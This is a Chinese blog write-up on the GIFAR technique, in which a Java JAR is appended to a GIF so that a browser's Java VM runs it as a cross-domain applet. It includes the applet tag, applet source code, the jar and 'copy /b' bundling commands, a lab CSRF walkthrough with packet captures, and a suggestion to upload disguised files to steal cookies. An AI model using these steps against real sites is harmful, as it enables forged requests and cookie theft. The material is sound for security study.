跳至主要内容

GIFAR漏洞

漏洞描述:

这个漏洞的危害主要在于跨域的影响上。普通的XSS漏洞可能需要在target site上找一个XSS的漏洞,然后诱使受害者去访问存在XSS的页面或者是点击一个XSS的link。

但是这类跨域漏洞不同,他不需要在target site上做什么,而是只需要在任意一个第三方站点上构造一些恶意脚本就可以实施攻击了,攻击范围将扩大许多许多。

java只是这种利用方式的一种,这种捆绑文件的方式还有很多利用途径。其实这里主要说的就是如果在服务端没有做好过滤,这种捆绑文件能够被某些客户端程序强行解析的话,就会存在一个利用。

就这个漏洞来说,就是jvm会去强行解析jar,不管那个文件头是不是jar,也不管后缀,只要后面有jar文件头,就会去解析他。

这个漏洞之所以成为漏洞,其核心处就在于applet里发起的请求是用的stored cookie,而不是session cookie。

因为对于CSRF而言,使用的是session cookie,所以攻击者实施攻击的时候可能还需要诱骗用户打开个页面,以保证浏览器中存在target site的session cookie,才能CSRF成功。

而stored cookie是存在本地的,就算浏览器中没有session cookie,都能成功实施GIFAR攻击,而applet发起的socket,可以针对target site做更多事情,比如发起其他协议的请求。所以pdp才会说这个漏洞之所以危险,是在于它打破了浏览器的安全模型。

如果SUN要修补的话,肯定也是在这里进行修补,即把发起的http请求变成使用session cookie。

但是经过测试,发现这个漏洞还是有一定的局限性的。因为发现可以取到http response的头和cookie,但是取不到http request的头和cookie。 就是说前面提到的这个applet发起的请求里,会自动使用的stored cookie从applet里是读不出来的。

以下一些操作系统版本,自带JAVA环境:

雨林木风 ------- 集成微软 JAVA 虚拟机。

番茄花园 GHOST XP SP2 v 3.1 ----- 集合 MS JAVA 虚拟机

深度GHOSTXP SP3快速装机专业版V9.0(NTFS) ---------- 集成MSJAVA虚拟机

GhostXP SP3电脑公司完美特别修正版 v9.1 ------- 修正JAVA虚拟机不能启动的BUG

999宝藏网 GhostXP SP3 活力版 V3.0 -------- 微软 JAVA 虚拟机

电脑市场 GhostXP SP2装机版 v3.0

小路工作室 GhostXP P2008贺岁版[装机版]

深度技术 GHOST XP SP3 快速装机专业版 V8.1

漏洞测试

Applet本身的安全机制是不允许跨站的,它只允许自己访问applet标签所在页面的域。但是当applet标签中的codebase属性给定 了一个URL,让当前页面的applet到另一个域获取class或jar文件时,applet会自动为自己添加一个socket permission,也就是添加一个可以到class文件所在域的权限。使用copy /B命令可以把一个jar文件捆绑到一个gif上,捆绑后,同样可以让java虚拟机把这个GIF当成applet解释执行。这个技巧为漏洞的利用提供了 便利,虽然我们不能给目标服务器上传jar文件,但是我们有可能会被允许上传gif。

以下是一个利用GIFAR所要用到的applet标签,该标签只要在html中就会执行applet:

<applet code="cn.isto.XSSJApplet" width="1000" height="200" codebase="http://www.***.com/images/cnitblog_com/axis/" archive="00.JPG" name="xss"> 
<PARAM NAME="url" VALUE="http://www.***.com/axis/admin/">
</applet>

Code属性表示jar文件中的class名称,codebase表示jar文件所在的绝对路径(不包括文件名),archive表示jar文件的 文件名,PARAM是为了灵活控制给jar代码中的一些变量传值,这里的传的名称是url,对应的值是一个网站地址。可以根据自己要跨的域来改变这个地 址。

利用的环境按照上图所示,有两个域,A域和B域。我们在A域上发现了一个XSS漏洞,利用漏洞在A域的某个页面上放置一个applet标 签,B域恰好有一个功能,可以上传GIF图片。要得效果是在访问A域的页面同时,访问一下B域的隐私页面,以达到辅助入侵B域的目的,但是有两个问题,一 个是B域的cookie验证,另一个是浏览器不允许跨域访问。

利用GIFAR,就可以跨越这两个障碍。

下面我再详细的解释一下这个漏洞,在和刺的讨论过程中,问题集中在以下几点:

1, session cookie,和stored cookie。

2,跨域之后对所跨域的域名问题。

3, 跨域之后如何取COOKIE。

先说第一点,这两种cookie有什么区别呢?其实session cookie指的就是我们常说的session,而stored cookie就是我们常说的cookie。

GIFAR这里,使用的就是cookie,不是session,所以更容易出现CSRF攻击。

无论是JS还是applet,都限制只能访问当前域下的内容。比如这个JS如果是aaa.sohu.com,就不能访问bbb.sohu.com的东西,如果你跨域跨到了aaa.sohu.com,就可以访问aaa.sohu.com。

而cookie对于域名的要求就有点暧昧了,这要看在写程序时,你的cookie制定的域名是什么。来看以下这段jsp程序。

Cookie ack = new Cookie(“kxlzx”,”password”);  
ack.setDomain(".sohu.com");

这段cookie制定了域名为“.sohu.com”这个一级域名。就表示这个域名下所有的二级域名、三级域名、四级。。。都可以访问这个 cookie。而默认的cookie域,如果不指定域,则会由程序自动制定到当前JSP文件所在的域下。例如www.sohu.com/a.jsp 这个jsp文件所在的域是二级域名www下,那么他的cookie就只有这个二级域名下的文件才可以访问,其他的域名例如img.sohu.com就不可 以访问这个cookie。

这个漏洞利用成功之后能做什么。跨域取cookie只是一种利用,还有很多种利用方式,比如CSRF。前文提到,cookie是有域名限 制的,如果要跨域取cookie,就必须保证这段取cookie的程序要在所跨域下的文件中执行。我一直推荐一种方式,就是当IE7以下浏览器去打开 JPG文件时,如果JPG文件其实是个HTML,就会执行HTML。那么取cookie得代码就可以写到这个文件上,之后上传到要跨的域,再利用 applet让受害者的浏览器访问这个JPG文件。这样,无论是挂马还是取cookie都可以在这里完成。

一个CSRF示例:

测试环境,有两台计算机,一台linux+apache下面简称APACHE域,一台windows+iis下面简称IIS域。APACHE域下的 某个文件出现了XSS漏洞。利用该XSS漏洞可以在页面上插入applet标签。IIS域下有上传gif文件功能,于是上传了一个gif文件,还有一个需 要cookie验证才能执行其他操作的隐私页面。最终要达到的效果是,IIS域的管理员(可以通过cookie验证的人)访问APACHE域下的XSS漏 洞页面,同时悄悄的访问到IIS域下的隐私页面(CSRF)。

IIS域下的页面a.asp,目的用来建立一个cookie,这个cookie可以通过b.asp的验证。这里模拟了相当于管理员登陆成功的过程。

a.asp代码:

<%  
Response.Cookies("Cookie1")("kxlzx") = "testok"
%>

作用是新建一个cookie。

IIS域下的b.asp代码:

 <%   
dim cookie,key

for each cookie in Request.Cookies
if Request.Cookies(cookie).haskeys then
for each key in Request.Cookies(cookie)
if key="kxlzx" then
Response.Write "key 名字:"&key"<BR>"
Response.Write "value 名字:"&Request.Cookies(cookie)(key)"<BR>"
kxlzxfile=Server.MapPath("kxlzx.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set file=fs.OpenTextFile(kxlzxfile,8,True,0)
file.WriteLine("key 名字:"&key"" )
file.WriteLine("value 名字:"&Request.Cookies(cookie)(key)"" )
file.close
set fs = nothing
end if
next
end if
next

%>

通过了cookie验证后,会在当前目录下新建一个kxlzx.txt,最后看到这个文档时,意味着CSRF成功。

IIS域下的2.gif文件,编译前Ghost.java代码:

  import java.applet.Applet;  
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class Ghost extends Applet {
public void init() {
URLConnection uc;
try {
// 创建 HTTP连接
URL url = new URL(this.getParameter("url"));
uc = url.openConnection();
InputStream inputstream = null;
inputstream = uc.getInputStream();
System.out.println("test ok");
} catch (Exception ex) {
System.out.println("fu_ck");
}
}
}

这个文件就是applet的代码,代码从applet标签的PARAM中取到url的值,之后访问这个URL。我们要把这个文件编译成jar,然后使用copy /B 附加到一个gif中。

APACHE域下的Test.php代码:

 <applet codebase="http://192.168.0.88/" code="Ghost.class" archive="2.gif" name="Ghost.jar" >  
<PARAM name="url" value="http://192.168.0.88/b.asp"></PARAM>
</applet>

下面开始测试

1, 首先使用jar cvf a.jar Ghost.class把class打到jar包里。

2, 输入命令copy a.gif /b + a.jar 2.gif把jar文件追加到a.gif,生成一个新文件2.gif。

3, 访问IIS域下的a.asp,保存cookie,并弹出保存的内容。

4, 访问APACHE域下的test.php。

5, 查看结果,看到kxlzx.txt中记录了cookie信息。

下面是在整个过程中抓到的几个包:

第一个包:
GET /a.asp HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

第二个包
GET /wwwroot/test.php HTTP/1.1
Host: 192.168.0.222
Accept-Encoding: gzip,deflate
第三个包
GET /2.gif HTTP/1.1
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第四个包
GET /Ghost.class HTTP/1.1
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第五个包
GET /b.asp HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第一个包是访问a.asp的,可以看到在这个向IIS域的请求中,没有cookie,但是访问过该文件之后就有了。

再看第二个包,访问了APACHE域的test.php,后面的包都是由applet自动发送的。

test.php里的applet又访问了gif文件,可以看到第三个包的Agent已经变成了“Java/1.6.0_03”,说明该包是java去访问的。

最后的包,就是CSRF的包,这个包成功的访问了b.asp,并且带有可以通过验证的cookie,成功的在根目录下生成了一个kxlzx.txt文件。CSRF的整个过程中,在用户访问APACHE域的同时,跨域访问了IIS域,并且带着IIS域的COOKIE。

参考文档:

http://knol.google.com/k/hi-clin003/-/jtjj0so2jjck/34#view http://wiki.clin003.com/wiki/GIFAR

http://www.inbreak.net/?action=show&id=124

http://hi.baidu.com/aullik5/blog/item/60d2b5fc1963ef1009244d71.html

评论

此博客中的热门博文

简单评测4个最好的PDF搜索引擎

借此机会将专业PDF 搜索引擎单独列出,并作简单的评测分析! 简单评测4个专业PDF搜索引擎 http://mygogou.com/mm-713/ 1、Search pdf 今天刚刚发现的专业级PDF 搜索引擎,也是基于Google,与PDFGeni十分相似,收录有225,000,000 本Ebook,支持中文关键词。界面清爽,没有广告,搜索结果可选择浏览或直接下载,支持iPaper阅读器(不推荐,速度慢!) hx9opyze 4个最好的PDF搜索引擎(简单评测) 网址:http://search-pdf-books.com/ 2、PdfGeni PdfGeni是一个专业的PDF文件搜索引擎,搜索的PDF文件可以直接下载。与Search pdf基于同一数据库,支持中文搜索,搜索结果几乎完全一样。搜索结果一页显示量大,减少分页浏览的繁琐。不过上面都是英文的PDF文档,没有中文PDF 资料。去淘一下吧,应该能找到一些不错的资源:) xcwcfmnt 4个最好的PDF搜索引擎(简单评测) 网址:http://www.pdfgeni.com/ 3、pdf-search 开 始一直和Search pdf 混淆,两者是完全独立的搜索引擎,但功能有的一拼。就功能而言,我倾向于pdf-search,提供专业的PDF文件搜索,支持中文,结果有三种分享方式:下载、浏览、代码,并且提供同一关键词doc文件、ppt文件专业搜索的入口,也就是说输入一次关键词,你可以得到三种文件的专业搜索!但是,最为遗憾的是速度较慢,甚至有打不开的现象。速度可是一个好的搜索引擎不可缺少的基本素质! v0fyk8ye 4个最好的PDF搜索引擎(简单评测) 网址:http://www.pdf-search-engine.com/ 4、Pdfdatabase Pdfdatabase 是一个不错的专项华搜索引擎,提供免费的PDF及doc文件的搜索服务,尤其是PDF搜索服务更是以大亮点。就数据库而言,与以上两者势均力敌,只是在用户操作性上更为灵活方便!不过,最大的缺陷是不支持中文搜索。 fvmhtxp4 4个最好的PDF搜索引擎(简单评测) 网址:http://pdfdatabase.com/ ------------------ 洛阳生活信息点评网:http://luoyanglife.com/ 洛阳生活信息...

网吧何时才走出尴尬局面

2009年9月14号13点34分,正式收到市文化局的通知,限期月底之前所有网吧全部安装上北京通罗时代科技有限公司出的轻松游2009平台软件,逾期没安装的网吧将停业安装。望着通知上面的白纸黑字红章,我怒了,不是因为要我们安装的软件不好,我承认左轮软件出的三层更新速度很快很稳定,他们的安全中心也是没的说,我只是怒我们网吧再次被强迫、被命令了。从有网吧的那天起,我一直没有离开过这个行业,再没有哪一个行业像网吧这样深刻体会到相关部门在管理网吧方面的不合理。但网吧是打不倒的巨人!      1.网吧的管理     管理网吧的部门有公安,消防,文化,工商,税务,教育,电信。几乎现在所有的执法部门都参与了网吧的管理,但他们只有一个目的,那就是钱,从网吧经营者那里榨取最大的价值,公安卖软件,文化来罚款,消防卖设备,工商让你订他们的书刊,税务要按娱乐的营业税税率20%来纳税,电信收你高额上网费等等,罚款,培训,订书刊,买软件,连灯箱都买,几乎没有他们不卖的,公安卖的软件,网吧没有收到软件就要付钱,报上登过一个专家的说法,要网吧全部用品牌机,不能再使用兼容机,他的理由是:兼容机游戏性太强,真不懂,电脑的游戏在于里面安装什么游戏软件,机器是品牌还是兼容有多少关系,现在在中国想找到一家没有被罚过的网吧太难太难了。 我认识的一个文化部门管理网吧的一般工作人员,他一年当中没有去银行取过他的工资,工资卡交给老婆,一分不要,只回家吃过几次晚饭,每年从网吧经营户那里就有30多万的灰色收入,这些部门管理网吧的工作人员,有几个懂网络懂电脑的,有些人连电脑开机关机都不会,(我亲眼看到一个到网吧检查的工作人员不知从哪里开机),中国太多的外行管内行,他们不懂网络拿什么管网吧?就一句话:罚你没商量         2.未成年人上网问题    第一.未成年人的监护人是谁?是他的家长!不是网吧的经营者,有些家人工作忙,没时间管自己的孩子,有些学校现在教学比过去松,节假日放六七天长假,下午早早就把学生放走。社会在发展,也有很多不良的或是不适合孩子的地方,管不好孩子,不能责怪网吧,孩子在网吧一玩就是一个通宵,家长哪里去了?家庭才是孩子成长的主要场所,家长才是他最好的老师,社会有网吧,很多孩子一样考上清华,北大。总不能因为孩子,把社会上所有不适合未成年人的场所都关掉。让全社会都孩童化...

八个出人意料的接吻高招

   你和他,面面相对,心旌摇曳,鼻子慢慢贴近,嘴唇轻轻相触,舔舐、吸吮,享受巧克力般的甜蜜滋味,电流迅速传遍全身上下每个细胞……     雕像吻     让他静静站立一分钟,仿佛一尊你顶礼膜拜的英雄雕像,任由你吻他个死去活来,耳际、双颊、嘴唇、脖子、胸脯……他不动弹,也绝不还"口"。你的热吻将令钢铁硬汉感觉到酥了、软了,最后High了,刹那间幻化为无形。然后转换角色,你当女神,让他狂吻你。     镜吻     精心构造诗意背景,在大镜子前做接吻游戏。别忘了涂上珠光唇彩,使美唇光鲜照人。睁大双眼,从镜子中欣赏每个醉人的细节。先将耳朵贴在他宽阔的胸前,悉心 倾听他的心跳声,然后让他如法做,心跳加剧之时最能感知对方的兴奋度。温柔四射的目光交接,足尖快乐地蜷曲,手指沿着他的唇部外侧自上而下轻轻抚摸,触及 他的下唇时轻拧一下,然后一把拉近他,吸那片性感热唇入你的口。轻拧的微痛感会刺激他更加亢奋。     数数吻     让他在1—20之间选择一个数字,比如6,然后吻他6遍,逗弄任何性感地带。每个吻变换压力、长度和湿度,或轻柔如羽,或湿气蒸腾,或若有若无,或低吟浅 尝,或密密咬合。其间,伴以热情的喘息,深深吸一口气,轻送入他嘴中,同步呼吸,分享你们的生命气息,合二为一,激情如春风荡漾。     猜谜吻     你尖挺的唇尖在他嘴里顽皮游走,轻触每个甜蜜部位,顺着口腔顶伸向喉咙,再向侧面移动,沿着齿龈滑行,潜入舌头底部,然后,让他猜猜你拼写出什么字母,并 约法三章。如果猜错,罚他吻你,想要多长就多长。用这种由你主动出击的吻,探索不曾涉猎的性感角落,恣意的驰骋带来无限的满足,飘飘然入仙境。最后结束 时,你的舌头环绕住他的唇,彻底覆盖,强有力的收势更能让他心神荡漾。     灵魂吻     四目相锁,深情凝视,能坚持多久就多久。火辣辣的目光仿佛一束高能激光,穿透对方灵府最深处,脑中幻想翩翩,想尝试...